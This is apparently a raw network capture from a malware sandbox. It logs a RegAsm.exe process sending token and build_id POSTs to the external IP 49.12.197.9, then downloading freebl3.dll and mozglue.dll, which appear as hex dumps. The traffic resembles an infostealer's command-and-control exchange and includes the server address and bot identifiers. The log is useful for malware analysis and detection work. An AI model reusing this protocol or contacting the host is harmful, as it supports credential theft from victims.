2024-10-02 03:19:28 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------IIJKJDAFHJDHIEBGCFIDCont
2024-10-02 03:19:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:29 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:29 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 Data Ascii: ------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------EBKJDBAAKJDGCBFHCFCGCont
2024-10-02 03:19:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49749	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:31 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:31 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------IEHDBGDHDAECBGDHJKFICont
2024-10-02 03:19:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:32 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:32 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:32 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------EGDGCGCFHIEHIDGDBAAECont
2024-10-02 03:19:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:33 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:33 UTC	195	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:33 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:33 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:33 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:33 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-10-02 03:19:33 UTC	16384	IN	Data Raw: 0c ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-10-02 03:19:33 UTC	16384	IN	Data Raw: f2 c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-10-02 03:19:33 UTC	16384	IN	Data Raw: 8b 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-10-02 03:19:33 UTC	16384	IN	Data Raw: ee 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-10-02 03:19:33 UTC	16384	IN	Data Raw: 00 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-10-02 03:19:34 UTC	16384	IN	Data Raw: c4 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-10-02 03:19:34 UTC	16384	IN	Data Raw: 8b 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-10-02 03:19:34 UTC	16384	IN	Data Raw: 77 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 Data Ascii: w8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-10-02 03:19:34 UTC	16384	IN	Data Raw: e8 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:35 UTC	195	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:35 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:35 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:35 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:35 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: ff ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: e9 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
